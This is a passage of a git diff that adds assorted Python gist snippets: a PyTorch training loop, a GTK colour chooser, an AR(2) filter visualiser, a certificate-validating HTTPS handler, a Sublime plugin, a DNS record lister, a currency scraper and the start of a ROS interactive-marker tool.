+    for epoch in range(args.start_epoch, args.epochs):
+        adjust_learning_rate(optimizer, epoch)
+
+        # train for one epoch
+        train(train_loader, model, criterion, optimizer, epoch)
+
+        # evaluate on validation set
+        prec1 = validate(val_loader, model, criterion)
+
+        # remember best prec@1 and save checkpoint
+        is_best = prec1 > best_prec1
+        best_prec1 = max(prec1, best_prec1)
+        save_checkpoint({
+            'epoch': epoch + 1,
+            'arch': args.arch,
+            'state_dict': model.state_dict(),
+            'best_prec1': best_prec1,
+        }, is_best)
+
+
+def train(train_loader, model, criterion, optimizer, epoch):
+    batch_time = AverageMeter()
+    data_time = AverageMeter()
+    losses = AverageMeter()
+    top1 = AverageMeter()
+    top5 = AverageMeter()
+
+    # switch to train mode
+    model.train()
+
+    end = time.time()
+    for i, (input, target) in enumerate(train_loader):
+        # measure data loading time
+        data_time.update(time.time() - end)
+
+        target = target.cuda(async=True)
+        input_var = torch.autograd.Variable(input)
+        target_var = torch.autograd.Variable(target)
+
+        # compute output
+        output = model(input_var)
+        loss = criterion(output, target_var)
+
+        # measure accuracy and record loss
+        prec1, prec5 = accuracy(output.data, target, topk=(1, 5))
+        losses.update(loss.data[0], input.size(0))
+        top1.update(prec1[0], input.size(0))
+        top5.update(prec5[0], input.size(0))
+
+        # compute gradient and do SGD step
+        optimizer.zero_grad()
+        loss.backward()
+        optimizer.step()
+
+        # measure elapsed time
+        batch_time.update(time.time() - end)
+        end = time.time()
+
+        if i % args.print_freq == 0:
+            print('Epoch: [{0}][{1}/{2}]\t'
+                  'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
+                  'Data {data_time.val:.3f} ({data_time.avg:.3f})\t'
+                  'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
+                  'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t'
+                  'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(
+                   epoch, i, len(train_loader), batch_time=batch_time,
+                   data_time=data_time, loss=losses, top1=top1, top5=top5))
+
+
+def validate(val_loader, model, criterion):
+    batch_time = AverageMeter()
+    losses = AverageMeter()
+    top1 = AverageMeter()
+    top5 = AverageMeter()
+
+    # switch to evaluate mode
+    model.eval()
+
+    end = time.time()
+    for i, (input, target) in enumerate(val_loader):
+        target = target.cuda(async=True)
+        input_var = torch.autograd.Variable(input, volatile=True)
+        target_var = torch.autograd.Variable(target, volatile=True)
+
+        # compute output
+        output = model(input_var)
+        loss = criterion(output, target_var)
+
+        # measure accuracy and record loss
+        prec1, prec5 = accuracy(output.data, target, topk=(1, 5))
+        losses.update(loss.data[0], input.size(0))
+        top1.update(prec1[0], input.size(0))
+        top5.update(prec5[0], input.size(0))
+
+        # measure elapsed time
+        batch_time.update(time.time() - end)
+        end = time.time()
+
+        if i % args.print_freq == 0:
+            print('Test: [{0}/{1}]\t'
+                  'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
+                  'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
+                  'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t'
+                  'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(
+                   i, len(val_loader), batch_time=batch_time, loss=losses,
+                   top1=top1, top5=top5))
+
+    print(' * Prec@1 {top1.avg:.3f} Prec@5 {top5.avg:.3f}'
+          .format(top1=top1, top5=top5))
+
+    return top1.avg
+
+
+def save_checkpoint(state, is_best, filename='checkpoint.pth.tar'):
+    torch.save(state, filename)
+    if is_best:
+        shutil.copyfile(filename, 'model_best.pth.tar')
+
+
+class AverageMeter(object):
+    """Computes and stores the average and current value"""
+    def __init__(self):
+        self.reset()
+
+    def reset(self):
+        self.val = 0
+        self.avg = 0
+        self.sum = 0
+        self.count = 0
+
+    def update(self, val, n=1):
+        self.val = val
+        self.sum += val * n
+        self.count += n
+        self.avg = self.sum / self.count
+
+
+def adjust_learning_rate(optimizer, epoch):
+    """Sets the learning rate to the initial LR decayed by 10 every 30 epochs"""
+    lr = args.lr * (0.1 ** (epoch // 30))
+    for param_group in optimizer.state_dict()['param_groups']:
+        param_group['lr'] = lr
+
+
+def accuracy(output, target, topk=(1,)):
+    """Computes the precision@k for the specified values of k"""
+    maxk = max(topk)
+    batch_size = target.size(0)
+
+    _, pred = output.topk(maxk, 1, True, True)
+    pred = pred.t()
+    correct = pred.eq(target.view(1, -1).expand_as(pred))
+
+    res = []
+    for k in topk:
+        correct_k = correct[:k].view(-1).float().sum(0)
+        res.append(correct_k.mul_(100.0 / batch_size))
+    return res
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/2986210/._snippet.py b/hard-gists/2986210/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2986210/._snippet.py differ
diff --git a/hard-gists/2986210/snippet.py b/hard-gists/2986210/snippet.py
new file mode 100644
index 00000000..cfff3e71
--- /dev/null
+++ b/hard-gists/2986210/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/python
+import gtk, sys
+def tohex(c):
+   #Convert to hex string
+   #little hack to fix bug
+   s = ['#',hex(int(c[0]*256))[2:].zfill(2),hex(int(c[1]*256))[2:].zfill(2),hex(int(c[2]*256))[2:].zfill(2)]
+   for item in enumerate(s):
+      if item[1]=='100':
+         s[item[0]]='ff'
+   print s
+   return ''.join(s)
+csd = gtk.ColorSelectionDialog('Gnome Color Chooser')
+cs = csd.colorsel
+cs.set_has_opacity_control(True)
+cs.set_current_alpha(65536)
+if csd.run()!=gtk.RESPONSE_OK:
+   print 'No color selected.'
+   sys.exit()
+c = cs.get_current_color()
+print "Color Values:"
+print 'red:',c.red
+print 'green:',c.green
+print 'blue:',c.blue
+print 'alpha:',cs.get_current_alpha()
+print "Hex Codes:"
+print tohex((c.red/65536.0, c.green/65536.0, c.blue/65536.0))
\ No newline at end of file
diff --git a/hard-gists/2988354/._snippet.py b/hard-gists/2988354/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2988354/._snippet.py differ
diff --git a/hard-gists/2988354/snippet.py b/hard-gists/2988354/snippet.py
new file mode 100644
index 00000000..552444a4
--- /dev/null
+++ b/hard-gists/2988354/snippet.py
@@ -0,0 +1,222 @@
+#!/usr/bin/python
+# -*- coding: UTF-8 -*-
+""" Interactive study of an AR(2) auto-regressive filter/process.
+
+AR(2) process definition : X_k = a_1 X_{k-1} + a_2 X_{k-2} + Z_k
+
+Interactive choice :
+  choose graphically the two coefficients (a1, a2) of the filter
+  by clicking and dragging the red disc on the (a1, a2) plane.
+
+
+While changing the coefficients, see the effect in real time on :
+  1) the two roots of the polynomial P(z)=z^2 - a_1 z - a_2
+    * is there any root outside the disc of stability (disc |z| < 1) ?
+  2) the impulse response h(k)
+    * is it stable ?
+    * is it oscillating ?
+  3) the frequency response 
+    * is it monotously increasing/decreasing ?
+    * is there a peak ?
+    * how wide is the peak ?
+
+
+Pierre Haessig — June 2012
+This script is provided under BSD 3-Clause License
+
+
+This script was inspired by the "looking glass" example
+from Matplotlib documentation on event handling :
+http://matplotlib.sourceforge.net/examples/event_handling/looking_glass.html
+"""
+
+import numpy as np
+from numpy.polynomial import Polynomial
+import matplotlib.pyplot as plt
+import matplotlib.patches as patches
+from scipy.signal import lfilter
+
+# Initial AR(2) coefficients choice
+a1, a2 = 0.5, 0.0
+
+
+### AR(2) coefficients plots ###################################################
+
+### AR(2) coefficients : interactive selection
+fig_coeff = plt.figure('AR(2) - coefficient choice', figsize=(6,9))
+fig_coeff.clear()
+ax_coeff = fig_coeff.add_subplot(211, title='Choose AR(2) coefficients: '
+                                 '$(a_1, a_2)$=(%.2f, %.2f) \n'
+                                 'process $X_k = a_1 X_{k-1} + a_2 X_{k-2} + Z_k$'\
+                                  % (a1, a2),
+                                 xlabel='coeff. $a_1$', ylabel='coeff. $a_2$')
+ax_coeff.patch.set_facecolor('#CCCCDD') # Light blue background
+
+ax_coeff.set_xlim(-2.5,2.5)
+ax_coeff.set_ylim(-1.5,1.5)
+ax_coeff.set_aspect('equal')
+ax_coeff.fill([-2,0,2,-2],[-1,1,-1,-1], color='white', label='stability region')
+# Delta = 0 boundary
+a1_range = np.linspace(-2,2,50)
+ax_coeff.plot(a1_range,-a1_range**2/4, '-', color='#555599',
+              label=u'$\Delta=0$ boundary')
+# x,y guide lines
+coeff_line, = ax_coeff.plot([a1, a1, 0], [0,a2,a2], 'k--')
+# x,y marking circle
+circ = patches.Circle( (a1, a2), 0.1, alpha=0.8, fc='red')
+ax_coeff.add_patch(circ)
+
+ax_coeff.grid(True)
+
+### Roots of z^2 - a1 z - a2  (related to stability of the filter)
+ax_roots = fig_coeff.add_subplot(212, title='Roots of $P(z)=z^2 - a_1 z - a_2$',
+                                     xlabel='Re(z)', ylabel='Im(z)')
+ax_roots.patch.set_facecolor('#CCCCDD') # Light blue background
+circ_roots = patches.Circle((0, 0), 1, fc='white', lw=0)
+ax_roots.add_patch(circ_roots)
+ax_roots.set_xlim(-1.5, 1.5)
+ax_roots.set_ylim(-1.5, 1.5)
+ax_roots.set_aspect('equal')
+
+# Compute the roots numerically (the lazy way)
+poly_ar2 = Polynomial([-a2, -a1, 1])
+root1, root2 = poly_ar2.roots().astype(complex)
+roots_line, = ax_roots.plot([root1.real, root2.real],
+                            [root1.imag, root2.imag],
+                            '*', color='red', ms=10)
+
+fig_coeff.tight_layout()
+
+### Response plots #############################################################
+fig_res = plt.figure('AR(2) - responses')
+fig_res.clear()
+
+# 1) Impulse response plot
+ax_ir = fig_res.add_subplot(211, title='Impulse Response $h(k)$',
+                            xlabel='instant k')
+K = 21 # How many instants
+k = np.arange(0,K)
+dirac = np.zeros(K)
+dirac[0] = 1
+h_ir = lfilter([1], [1, -a1, -a2], dirac)
+# Plot the IR
+ir_line, = ax_ir.plot(k, h_ir, 'b-o')
+ax_ir.set_ylim(-1.5,1.5)
+ax_ir.grid(True)
+
+# 2) Frequency response plot
+ax_spec = fig_res.add_subplot(212, title='Frequency Response $H(\omega)$',
+                        xlabel='frequency $\omega / \pi$')
+
+def Var_AR2(a1,a2):
+    '''Variance of an AR(2) process
+    X_k = a1 X_{k-1} + a2 X_{k-2} + Z_k
+    with Z_k of unit variance
+    '''
+    return 1/(1-a2**2 - a1**2 * (1+a2)/(1-a2))
+
+def spectrum_ar2(a1,a2,w, normed=True):
+    '''spectrum of an AR(2) process with unit variance input
+    http://en.wikipedia.org/wiki/Autoregressive_model#AR.282.29
+    '''
+    cosw = np.cos(w)
+    f = 1/(1 + 2*a2 + a1**2 + a2**2 + 2*a1*(a2-1)*cosw - 4*a2*cosw**2)
+    if normed:
+        return f/Var_AR2(a1, a2)
+    else:
+        return f
+
+omega_list = np.linspace(0, np.pi, 100)
+spectrum_line, = ax_spec.plot(omega_list/np.pi,
+                              spectrum_ar2(a1,a2,omega_list),
+                              '-', color='#D15100')
+ax_spec.set_ylim(0,5)
+ax_spec.grid(True)
+
+fig_res.tight_layout()
+
+
+################################################################################
+### Animation management
+
+class AnimatedPlot:
+    def __init__(self):
+        # Connect the event handlers
+        fig_coeff.canvas.mpl_connect('button_press_event', self.onpress)
+        fig_coeff.canvas.mpl_connect('button_release_event', self.onrelease)
+        fig_coeff.canvas.mpl_connect('motion_notify_event', self.onmove)
+        self.pressevent = None # State of mouse press event tracking
+        
+        
+        # Frequency response
+        self.spec_poly = ax_spec.fill_between(omega_list/np.pi,
+                                              spectrum_ar2(a1,a2,omega_list),
+                                              color='#FFAA00', alpha=0.5, lw=0)
+    
+    ### Plot update functions
+    def update_coeff(self, a1,a2):
+        '''update the AR(2) coefficients choice
+        and the roots of the AR polynomial'''
+        # Update the title
+        ax_coeff.set_title('Choose AR(2) coefficients: '
+                           '$(a_1, a_2)$=(%.2f, %.2f) \n'
+                           'process $X_k = a_1 X_{k-1} + a_2 X_{k-2} + Z_k$'\
+                            % (a1, a2))
+        # Move the circle
+        circ.center = a1, a2
+        # Move the guiding lines
+        coeff_line.set_data([a1, a1, 0], [0,a2,a2])
+        # Move the roots:
+        poly_ar2 = Polynomial([-a2, -a1, 1])
+        root1, root2 = poly_ar2.roots().astype(complex)
+        roots_line.set_data([root1.real, root2.real],
+                            [root1.imag, root2.imag])
+
+    def update_response(self, a1,a2):
+        '''update the plots of the filter responses
+        (impulse and frequency)'''
+        h_ir = lfilter([1], [1, -a1, -a2], dirac)
+        ir_line.set_data(k, h_ir)
+        spectrum_line.set_data(omega_list/np.pi, spectrum_ar2(a1,a2,omega_list))
+        self.spec_poly.remove()
+        self.spec_poly = ax_spec.fill_between(omega_list/np.pi,
+                                              spectrum_ar2(a1,a2,omega_list),
+                                              color='#FFAA00', alpha=0.5, lw=0)
+    
+    ### Event handlers
+    def onpress(self, event):
+        '''mouse press = move the circle + follow the mouse'''
+        if event.inaxes!=ax_coeff:
+         return
+        self.update_coeff(a1=event.xdata, a2=event.ydata)
+        self.update_response(a1=event.xdata, a2=event.ydata)
+        fig_coeff.canvas.draw()
+        fig_res.canvas.draw()
+        self.pressevent = event
+
+    def onrelease(self, event):
+        '''mouse release = stop following the mouse'''
+        if self.pressevent is None:
+         return
+
+        self.update_coeff(a1=event.xdata, a2=event.ydata)
+        self.update_response(a1=event.xdata, a2=event.ydata)
+        fig_coeff.canvas.draw()
+        fig_res.canvas.draw()
+        self.pressevent = None
+        print('a1, a2 = (%.2f, %.2f)' % circ.center)
+
+
+    def onmove(self, event):
+        '''mouse move = move the circle'''
+        if self.pressevent is None or event.inaxes!=self.pressevent.inaxes:
+         return
+
+        self.update_coeff(a1=event.xdata, a2=event.ydata)
+        self.update_response(a1=event.xdata, a2=event.ydata)
+        fig_coeff.canvas.draw()
+        fig_res.canvas.draw()
+
+
+animated_plot = AnimatedPlot()
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/2993700/._snippet.py b/hard-gists/2993700/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2993700/._snippet.py differ
diff --git a/hard-gists/2993700/snippet.py b/hard-gists/2993700/snippet.py
new file mode 100644
index 00000000..8432554e
--- /dev/null
+++ b/hard-gists/2993700/snippet.py
@@ -0,0 +1,55 @@
+import httplib
+import urllib2
+import ssl
+
+import certifi
+from backports.ssl_match_hostname import match_hostname
+
+
+class CertValidatingHTTPSConnection(httplib.HTTPConnection):
+    default_port = httplib.HTTPS_PORT
+
+    def __init__(self, host, port=None, key_file=None, cert_file=None,
+                             ca_certs=None, strict=None, **kwargs):
+        httplib.HTTPConnection.__init__(self, host, port, strict, **kwargs)
+        self.key_file = key_file
+        self.cert_file = cert_file
+        self.ca_certs = ca_certs
+        if self.ca_certs:
+            self.cert_reqs = ssl.CERT_REQUIRED
+        else:
+            self.cert_reqs = ssl.CERT_NONE
+
+    def connect(self):
+        httplib.HTTPConnection.connect(self)
+        self.sock = ssl.wrap_socket(self.sock, keyfile=self.key_file,
+                                    certfile=self.cert_file,
+                                    cert_reqs=self.cert_reqs,
+                                    ca_certs=self.ca_certs)
+        if self.cert_reqs & ssl.CERT_REQUIRED:
+            cert = self.sock.getpeercert()
+            hostname = self.host.split(':', 0)[0]
+            match_hostname(cert, hostname)
+
+
+class VerifiedHTTPSHandler(urllib2.HTTPSHandler):
+    def __init__(self, **kwargs):
+        urllib2.HTTPSHandler.__init__(self)
+        self._connection_args = kwargs
+
+    def https_open(self, req):
+        def http_class_wrapper(host, **kwargs):
+            full_kwargs = dict(self._connection_args)
+            full_kwargs.update(kwargs)
+            return CertValidatingHTTPSConnection(host, **full_kwargs)
+
+        return self.do_open(http_class_wrapper, req)
+
+
+if __name__ == "__main__":
+    handler = VerifiedHTTPSHandler(ca_certs=certifi.where())
+    # assuming proxy settings are in environment or set them with:
+    # urllib2.ProxyHandler({'http_proxy': 'http://', 'https_proxy' = 'http://'})
+    opener = urllib2.build_opener(handler, urllib2.ProxyHandler())
+    opener.open('https://google.com').read()
+    opener.open('https://kennethreitz.com').read()
diff --git a/hard-gists/2996448/._snippet.py b/hard-gists/2996448/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2996448/._snippet.py differ
diff --git a/hard-gists/2996448/snippet.py b/hard-gists/2996448/snippet.py
new file mode 100644
index 00000000..5399af74
--- /dev/null
+++ b/hard-gists/2996448/snippet.py
@@ -0,0 +1,30 @@
+import sublime
+import sublime_plugin
+
+class SublimeBlockCursor(sublime_plugin.EventListener):
+    def view_is_widget(view):
+        settings = view.settings()
+        return bool(settings.get('is_widget'))
+
+    def show_block_cursor(self, view):
+        validRegions = []
+        for s in view.sel():
+            if s.a != s.b:
+                continue
+            validRegions.append(sublime.Region(s.a, s.a + 1))
+        if validRegions.__len__:
+            view.add_regions('SublimeBlockCursorListener', validRegions, 'block_cursor')
+        else:
+            view.erase_regions('SublimeBlockCursorListener')
+
+    def on_selection_modified(self, view):
+        if view.settings().get('is_widget'):
+            view.erase_regions('SublimeBlockCursorListener')
+            return
+        self.show_block_cursor(view)
+
+    def on_deactivated(self, view):
+        view.erase_regions('SublimeBlockCursorListener')
+
+    def on_activated(self, view):
+        self.show_block_cursor(view)
\ No newline at end of file
diff --git a/hard-gists/2998372/._snippet.py b/hard-gists/2998372/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2998372/._snippet.py differ
diff --git a/hard-gists/2998372/snippet.py b/hard-gists/2998372/snippet.py
new file mode 100644
index 00000000..d01a0ab7
--- /dev/null
+++ b/hard-gists/2998372/snippet.py
@@ -0,0 +1,42 @@
+import sys
+import time
+import win32api
+
+if (len(sys.argv) < 4):
+	print "Usage: python mousemove.py dx dy speed"
+	sys.exit()
+
+current = win32api.GetCursorPos()
+cx = sx = current[0]
+cy = sy = current[1]
+
+mx = int(sys.argv[1])
+my = int(sys.argv[2])
+vx = vy = int(sys.argv[3])
+
+print "Moving", mx, my, "with", vx, "pixels per second"
+print "Press 'q' to quit"
+
+last = time.time()
+
+while(True):
+	if win32api.GetAsyncKeyState(ord('Q')):
+		sys.exit()
+		
+	current = time.time()
+	tick = current - last
+	last = current
+	
+	if mx > 0:
+		cx += vx * tick;
+		if cx > mx + sx or cx < sx:
+			vx = -vx;
+			cx = max( sx, min( mx + sx, cx ) )
+	if( my > 0 ):
+		cy += vy * tick;
+		if cy > my + sy or cy < sy:
+			vy = -vy;
+			cy = max( sy, min( my + sy, cy ) )
+	
+	win32api.SetCursorPos((int(cx),int(cy)))
+	time.sleep(0.001)
\ No newline at end of file
diff --git a/hard-gists/299905/._snippet.py b/hard-gists/299905/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/299905/._snippet.py differ
diff --git a/hard-gists/299905/snippet.py b/hard-gists/299905/snippet.py
new file mode 100644
index 00000000..463be82a
--- /dev/null
+++ b/hard-gists/299905/snippet.py
@@ -0,0 +1,31 @@
+"Memcached cache backend"
+
+from django.core.cache.backends import memcached
+from django.utils.encoding import smart_unicode, smart_str
+
+MIN_COMPRESS_LEN = 150000
+
+class CacheClass(memcached.CacheClass):
+    def add(self, key, value, timeout=None, min_compress_len=MIN_COMPRESS_LEN):
+        if isinstance(value, unicode):
+            value = value.encode('utf-8')
+        if timeout is None:
+            timeout = self.default_timeout
+        return self._cache.add(smart_str(key), value, timeout, min_compress_len)
+
+    def set(self, key, value, timeout=None, min_compress_len=MIN_COMPRESS_LEN):
+        if isinstance(value, unicode):
+            value = value.encode('utf-8')
+        if timeout is None:
+            timeout = self.default_timeout
+        self._cache.set(smart_str(key), value, timeout)
+
+    def set_many(self, data, timeout=None, min_compress_len=MIN_COMPRESS_LEN):
+        safe_data = {}
+        for key, value in data.items():
+            if isinstance(value, unicode):
+                value = value.encode('utf-8')
+            safe_data[smart_str(key)] = value
+        if timeout is None:
+            timeout = self.default_timeout
+        self._cache.set_multi(safe_data, timeout, min_compress_len=min_compress_len)
diff --git a/hard-gists/29c51b6997c3e3bff568/._snippet.py b/hard-gists/29c51b6997c3e3bff568/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/29c51b6997c3e3bff568/._snippet.py differ
diff --git a/hard-gists/29c51b6997c3e3bff568/snippet.py b/hard-gists/29c51b6997c3e3bff568/snippet.py
new file mode 100644
index 00000000..e0a7140a
--- /dev/null
+++ b/hard-gists/29c51b6997c3e3bff568/snippet.py
@@ -0,0 +1,36 @@
+# import functions
+from numpy import linspace
+from scipy.integrate import odeint
+
+#import pylab as pyl
+import matplotlib.pyplot as plt
+
+# define constants
+init_cond = [0.3, -0.1]
+t_init    = 0.0
+t_final   = 10.0
+time_step = 0.005
+num_data =int((t_final-t_init)/time_step)
+
+k_spring = 0.1
+c_damper = 0.5
+
+# define ordinary differential equation
+def mass_spring_damper(state, t):
+    x, x_dot = state
+    
+    f = [x_dot,
+         -k_spring*x - c_damper*x_dot] 
+    return f
+
+# integrate 
+t_all = linspace(t_init, t_final, num_data)
+y_all = odeint(mass_spring_damper, init_cond, t_all)
+
+# plots
+fig = plt.figure()
+plt.plot(t_all,y_all[:,0],'b-')
+plt.plot(t_all,y_all[:,1],'r--')
+plt.legend(['x [m]','dx/dt [m/s]'])
+plt.xlabel('time [s]')
+plt.ylabel('state')
\ No newline at end of file
diff --git a/hard-gists/2a1df455e7643926739e934e910cbf2e/._snippet.py b/hard-gists/2a1df455e7643926739e934e910cbf2e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2a1df455e7643926739e934e910cbf2e/._snippet.py differ
diff --git a/hard-gists/2a1df455e7643926739e934e910cbf2e/snippet.py b/hard-gists/2a1df455e7643926739e934e910cbf2e/snippet.py
new file mode 100644
index 00000000..88ff7f66
--- /dev/null
+++ b/hard-gists/2a1df455e7643926739e934e910cbf2e/snippet.py
@@ -0,0 +1,96 @@
+#!/usr/bin/env python
+# -*- coding utf-8 -*-
+#
+# Copyright 2016 Akshay Raj Gollahalli
+
+import dns.resolver
+
+
+def get_records(domain):
+    """
+    Get all the records associated to domain parameter.
+    :param domain: 
+    :return: 
+    """
+    ids = [
+        'NONE',
+        'A',
+        'NS',
+        'MD',
+        'MF',
+        'CNAME',
+        'SOA',
+        'MB',
+        'MG',
+        'MR',
+        'NULL',
+        'WKS',
+        'PTR',
+        'HINFO',
+        'MINFO',
+        'MX',
+        'TXT',
+        'RP',
+        'AFSDB',
+        'X25',
+        'ISDN',
+        'RT',
+        'NSAP',
+        'NSAP-PTR',
+        'SIG',
+        'KEY',
+        'PX',
+        'GPOS',
+        'AAAA',
+        'LOC',
+        'NXT',
+        'SRV',
+        'NAPTR',
+        'KX',
+        'CERT',
+        'A6',
+        'DNAME',
+        'OPT',
+        'APL',
+        'DS',
+        'SSHFP',
+        'IPSECKEY',
+        'RRSIG',
+        'NSEC',
+        'DNSKEY',
+        'DHCID',
+        'NSEC3',
+        'NSEC3PARAM',
+        'TLSA',
+        'HIP',
+        'CDS',
+        'CDNSKEY',
+        'CSYNC',
+        'SPF',
+        'UNSPEC',
+        'EUI48',
+        'EUI64',
+        'TKEY',
+        'TSIG',
+        'IXFR',
+        'AXFR',
+        'MAILB',
+        'MAILA',
+        'ANY',
+        'URI',
+        'CAA',
+        'TA',
+        'DLV',
+    ]
+    
+    for a in ids:
+        try:
+            answers = dns.resolver.query(domain, a)
+            for rdata in answers:
+                print(a, ':', rdata.to_text())
+    
+        except Exception as e:
+            print(e)  # or pass
+
+if __name__ == '__main__':
+    get_records('google.com')
\ No newline at end of file
diff --git a/hard-gists/2a5d283b0d279ea96c26/._snippet.py b/hard-gists/2a5d283b0d279ea96c26/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2a5d283b0d279ea96c26/._snippet.py differ
diff --git a/hard-gists/2a5d283b0d279ea96c26/snippet.py b/hard-gists/2a5d283b0d279ea96c26/snippet.py
new file mode 100644
index 00000000..90a78f68
--- /dev/null
+++ b/hard-gists/2a5d283b0d279ea96c26/snippet.py
@@ -0,0 +1,49 @@
+from concurrent.futures import as_completed, ThreadPoolExecutor
+from urllib.request import urlopen
+import re
+import sys
+
+
+DEFAULT_REGEX = r'<input type="text" id="nacional" value="([^"]+)"/>'
+CURRENCY = {
+    'dolar': 'http://dolarhoje.com/',
+    'euro': 'http://eurohoje.com/',
+    'libra': 'http://librahoje.com/',
+    'peso': 'http://pesohoje.com/'
+}
+
+
+def exchange_rate(url):
+    response = urlopen(url).read().decode('utf-8')
+    result = re.search(DEFAULT_REGEX, response)
+    if result:
+        return result.group(1)
+
+
+def run_threads():
+    with ThreadPoolExecutor(max_workers=len(CURRENCY)) as executor:
+        waits = {
+            executor.submit(exchange_rate, url): currency
+            for currency, url in CURRENCY.items()
+        }
+        for future in as_completed(waits):
+            currency = waits[future]
+            print('{}: R${}'.format(currency, future.result()))
+
+
+def run_serial():
+    for currency, url in CURRENCY.items():
+        print('{}: R${}'.format(currency, exchange_rate(url)))
+
+
+if __name__ == '__main__':
+    """
+    To run serial
+    $ python multi_requests.py
+    To run multithread
+    $ python multi_requests.py threads
+    """
+    if len(sys.argv) > 1 and sys.argv[1] == 'threads':
+        run_threads()
+    else:
+        run_serial()
\ No newline at end of file
diff --git a/hard-gists/2aa18ba3b821b2f580a2/._snippet.py b/hard-gists/2aa18ba3b821b2f580a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2aa18ba3b821b2f580a2/._snippet.py differ
diff --git a/hard-gists/2aa18ba3b821b2f580a2/snippet.py b/hard-gists/2aa18ba3b821b2f580a2/snippet.py
new file mode 100644
index 00000000..77ce8f08
--- /dev/null
+++ b/hard-gists/2aa18ba3b821b2f580a2/snippet.py
@@ -0,0 +1,370 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+Created on 15/01/15
+@author: Sammy Pfeiffer
+
+# Software License Agreement (BSD License)
+#
+# Copyright (c) 2016, PAL Robotics, S.L.
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+#  * Redistributions of source code must retain the above copyright
+#    notice, this list of conditions and the following disclaimer.
+#  * Redistributions in binary form must reproduce the above
+#    copyright notice, this list of conditions and the following
+#    disclaimer in the documentation and/or other materials provided
+#    with the distribution.
+#  * Neither the name of Willow Garage, Inc. nor the names of its
+#    contributors may be used to endorse or promote products derived
+#    from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+# POSSIBILITY OF SUCH DAMAGE.
+
+tf_interactive_marker.py contains a commandline
+node that sets up a 6DOF Interactive Marker at /posestamped_im/update
+and a PoseStamped topic at /posestamped and a
+TF transform broadcaster with the pose of the interactive marker.
+It prints on the commandline the current commandline transform and URDF
+transform as you move the interactive marker.
+
+You can stop publishing transforms doing right click
+and click on Stop Publish transform.
+
+As the help says:
+Generate an interactive marker to setup your transforms.
+Usage:
+./tf_interactive_marker.py from_frame to frame position (x,y,z) orientation (r,p,y) or (x,y,z,w)
+./tf_interactive_marker.py <from_frame> <to_frame> x y z r p y [deg]
+./tf_interactive_marker.py <from_frame> <to_frame> x y z x y z w
+For example (they do all the same):
+./tf_interactive_marker.py base_footprint new_frame 1.0 0.0 1.0 0.0 0.0 90.0 deg
+./tf_interactive_marker.py base_footprint new_frame 1.0 0.0 1.0 0.0 0.0 1.57
+./tf_interactive_marker.py base_footprint new_frame 1.0 0.0 1.0 0.0 0.7071 0.7071 0.0
+
+The output looks like:
+
+Static transform publisher command (with roll pitch yaw):
+  rosrun tf static_transform_publisher 1.0 0.0 1.0 0.0 -0.0 1.57 base_footprint new_frame 50
+
+Static transform publisher command (with quaternion):
+  rosrun tf static_transform_publisher 1.0 0.0 1.0 0.0 0.7068 0.7074 0.0 base_footprint new_frame 50
+
+Roslaunch line of static transform publisher (rpy):
+  <node name="from_base_footprint_to_new_frame_static_tf" pkg="tf" type="static_transform_publisher" args="1.0 0.0 1.0 0.0 -0.0 1.57 base_footprint new_frame 50" />
+
+URDF format:
+  <origin xyz="1.0 0.0 1.0" rpy="0.0 -0.0 1.57" />
+
+Example usage video: https://www.youtube.com/watch?v=C9BbFv-C9Zo
+
+"""
+
+# based on https://github.com/ros-visualization/visualization_tutorials/blob/indigo-devel/interactive_marker_tutorials/scripts/basic_controls.py
+# and https://github.com/ros-visualization/visualization_tutorials/blob/indigo-devel/interactive_marker_tutorials/scripts/menu.py
+
+import sys
+from copy import deepcopy
+import rospy
+from interactive_markers.interactive_marker_server import InteractiveMarkerServer
+from interactive_markers.menu_handler import MenuHandler
+from visualization_msgs.msg import InteractiveMarkerControl, Marker, InteractiveMarker, \
+    InteractiveMarkerFeedback, InteractiveMarkerUpdate, InteractiveMarkerPose, MenuEntry
